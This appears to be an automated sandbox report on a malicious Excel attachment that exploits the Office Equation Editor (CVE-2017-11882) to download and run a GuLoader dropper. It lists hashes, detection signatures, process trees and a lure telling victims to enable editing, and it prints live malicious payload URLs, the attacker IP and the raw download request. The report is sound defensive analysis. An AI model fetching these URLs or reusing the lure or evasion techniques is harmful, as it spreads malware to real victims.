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Windows Analysis Report #U0110#U1eb6T MUA H#U00c0NG VNU_014092021.xlsx

Overview

General Information

Sample Name:	#U0110#U1eb6T MUA H#U00c0NG VNU_014092021.xlsx
Analysis ID:	483661
MD5:	4a1d13469a6c817242e8b567bf34ab9a
SHA1:	a0d54f6c1205defad5f31cadf3393880e7c4c862
SHA256:	65514d1bcd58f206fbc6339c7893a4dc5fb3e7de39177038eac73906ec5c622c
Tags:	LokiVelvetSweatshopxlsx
Infos:
Most interesting Screenshot:

Detection

GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Sigma detected: EQNEDT32.EXE connecting to internet

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: File Dropped By EQNEDT32EXE

Antivirus detection for URL or domain

GuLoader behavior detected

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Yara detected GuLoader

Hides threads from debuggers

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Sigma detected: Execution from Suspicious Folder

Office equation editor drops PE file

Tries to detect virtualization through RDTSC time measurements

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Drops PE files to the user root directory

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to call native functions

Downloads executable code via HTTP

Contains functionality for execution timing, often used to detect debuggers

Abnormal high CPU Usage

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Potential document exploit detected (unknown TCP traffic)

PE file contains strange resources

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Office Equation Editor has been started

Checks if the current process is being debugged

Drops PE files to the user directory

Potential document exploit detected (performs HTTP gets)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2132 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

EQNEDT32.EXE (PID: 1868 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

vbc.exe (PID: 2228 cmdline: 'C:\Users\Public\vbc.exe' MD5: 451E4CD68C69C2C8B8FC93AD02E8754A)

vbc.exe (PID: 1184 cmdline: 'C:\Users\Public\vbc.exe' MD5: 451E4CD68C69C2C8B8FC93AD02E8754A)

cleanup

Malware Configuration

Threatname: GuLoader

{"Payload URL": "https://drive.google.com/uc?export=download&id=1pn-b6M_RemB"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.643654485.00000000003D0000.00000040.00000001.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000009.00000002.695092285.00000000001B0000.00000040.00000001.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Sigma Overview

Exploits:

Sigma detected: EQNEDT32.EXE connecting to internet

Show sources

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 23.95.85.181, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 1868, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49165

Sigma detected: File Dropped By EQNEDT32EXE

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 1868, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Users\Public\vbc.exe' , CommandLine: 'C:\Users\Public\vbc.exe' , CommandLine|base64offset|contains: , Image: C:\Users\Public\vbc.exe, NewProcessName: C:\Users\Public\vbc.exe, OriginalFileName: C:\Users\Public\vbc.exe, ParentCommandLine: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 1868, ProcessCommandLine: 'C:\Users\Public\vbc.exe' , ProcessId: 2228

Sigma detected: Execution from Suspicious Folder

Show sources

Source: Process started

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000006.00000002.643654485.00000000003D0000.00000040.00000001.sdmp

Malware Configuration Extractor: GuLoader {"Payload URL": "https://drive.google.com/uc?export=download&id=1pn-b6M_RemB"}

Multi AV Scanner detection for submitted file

Show sources

Source: #U0110#U1eb6T MUA H#U00c0NG VNU_014092021.xlsx	Virustotal: Detection: 38%			Perma Link
Source: #U0110#U1eb6T MUA H#U00c0NG VNU_014092021.xlsx	ReversingLabs: Detection: 28%

Antivirus detection for URL or domain

Show sources

Source: http://23.95.85.181/0789/vbc.exe

Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Show sources

Source: http://23.95.85.181/0789/vbc.exe

Virustotal: Detection: 5%

Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	Virustotal: Detection: 36%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	ReversingLabs: Detection: 20%
Source: C:\Users\Public\vbc.exe	Virustotal: Detection: 36%	Perma Link
Source: C:\Users\Public\vbc.exe	ReversingLabs: Detection: 20%

Machine Learning detection for dropped file

Show sources

Source: C:\Users\Public\vbc.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	Joe Sandbox ML: detected

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 23.95.85.181:80

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 23.95.85.181:80

Source: excel.exe

Memory has grown: Private usage: 4MB later: 70MB

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: https://drive.google.com/uc?export=download&id=1pn-b6M_RemB

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 15 Sep 2021 09:06:58 GMTServer: Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23Last-Modified: Wed, 15 Sep 2021 06:03:24 GMTETag: "1e000-5cc0274c3638e"Accept-Ranges: bytesContent-Length: 122880Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b 23 c4 db cf 42 aa 88 cf 42 aa 88 cf 42 aa 88 4c 5e a4 88 ce 42 aa 88 80 60 a3 88 cd 42 aa 88 f9 64 a7 88 ce 42 aa 88 52 69 63 68 cf 42 aa 88 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 90 8b b7 4b 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 a0 01 00 00 40 00 00 00 00 00 00 ac 17 00 00 00 10 00 00 00 b0 01 00 00 00 40 00 00 10 00 00 00 10 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 01 00 00 10 00 00 60 75 02 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 a2 01 00 28 00 00 00 00 d0 01 00 f6 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 02 00 00 20 00 00 00 00 10 00 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 97 01 00 00 10 00 00 00 a0 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 9c 11 00 00 00 b0 01 00 00 10 00 00 00 b0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f6 16 00 00 00 d0 01 00 00 20 00 00 00 c0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 c3 1f b0 49 10 00 00 00 00 00 00 00 00 00 00 00 4d 53 56 42 56 4d 36 30 2e 44 4c 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic

HTTP traffic detected: GET /0789/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 23.95.85.181Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181
Source: unknown	TCP traffic detected without corresponding DNS query: 23.95.85.181

Source: vbc.exe, 00000006.00000002.644097038.0000000003297000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: vbc.exe, 00000006.00000002.644097038.0000000003297000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: vbc.exe, 00000006.00000002.644097038.0000000003297000.00000002.00020000.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: vbc.exe, 00000006.00000002.644097038.0000000003297000.00000002.00020000.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: EA784B99.emf.0.dr	String found in binary or memory: http://www.day.com/dam/1.0
Source: vbc.exe, 00000006.00000002.644097038.0000000003297000.00000002.00020000.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EA784B99.emf

Jump to behavior

Source: global traffic

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4

Screenshot OCR: Enable Editing from the 16 g yellow bar above ,, This document is 18 3. Once you have enabled edi

Office equation editor drops PE file

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file

Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D26BE
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D9AB0
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D0EAE
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D5D1F
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D0746
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D0E3C
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D3C3F
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4835
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D9437
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D5A2D
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D2E23
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D2C0D
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D8C0F
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D420F
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D5E07
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D5003
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D847F
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D507A
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D1077
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D8C73
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D8464
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4266
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D9C63
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D3A50
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D0844
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D0847
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D10BD
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4CB6
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D3AB1
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D92B3
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D20A8
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D469F
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D149E
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D309B
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4E8F
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D46F9
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D2EFB
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D48F4
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D46DE
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D9ADB
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D62C5
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D8EC2
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4B39
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D493B
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D9B3B
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4523
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D491A
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4512
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D2B0C
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D3F06
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D1303
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D0973
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4D73
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D175B
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D0F57
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D49BB
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D9DB7
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D8FB1
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D39AB
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4DAB
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D59A3
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D879B
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4D95
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D2F96
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D8D8F
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4D89
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D5D81
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D3383
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D7FFF
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D51F3
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D0DDF
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D85DA
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D61CD
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D11C7
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D2DC7
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B5CD5
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B421B
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B2E13
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B4208
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B5003
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B5E07
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B9437
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B4835
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B5A2D
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B507A
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B8C73
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B2E64
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B469F
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B9C8B
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B4E8F
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B92B3
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B9AB0
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B4CB6
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B18AA
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B3AA5
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B9ADB
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B8EC2
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B9B3B
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B4B39
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B4933
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B5D30
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B4523
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B8F9F
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B4D95
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B8D8F
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B5D81
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B8FB1
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B9DB7
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B4DAB
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B8BAC
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B59A3
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B3DA1
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B7DA0
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B7FFF
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B8BFF
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B49EB

Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D26BE NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D0EAE CloseServiceHandle,NtWriteVirtualMemory,TerminateProcess,LoadLibraryA,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D5D1F NtWriteVirtualMemory,NtAllocateVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D958B NtProtectVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4835 NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D960D NtProtectVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D8C0F NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D5E07 NtAllocateVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D5003 NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D507A NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4266 NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4CB6 NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D469F NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4E8F NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D46F9 NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D48F4 NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D46DE NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4B39 NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D493B NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4523 NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D491A NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4D73 NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D49BB NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4DAB NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4D95 NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D4D89 NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D5D81 NtAllocateVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 6_2_003D51F3 NtWriteVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B5CD5 NtAllocateVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B5E07 NtAllocateVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B5D30 NtAllocateVirtualMemory,
Source: C:\Users\Public\vbc.exe	Code function: 9_2_001B5D81 NtAllocateVirtualMemory,

Source: C:\Users\Public\vbc.exe

Process Stats: CPU usage > 98%

Source: vbc[1].exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: vbc.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\Public\vbc.exe	Memory allocated: 76F90000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 76E90000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 76F90000 page execute and read and write
Source: C:\Users\Public\vbc.exe	Memory allocated: 76E90000 page execute and read and write

Source: #U0110#U1eb6T MUA H#U00c0NG VNU_014092021.xlsx	Virustotal: Detection: 38%
Source: #U0110#U1eb6T MUA H#U00c0NG VNU_014092021.xlsx	ReversingLabs: Detection: 28%

Source: C:\Users\Public\vbc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Users\Public\vbc.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
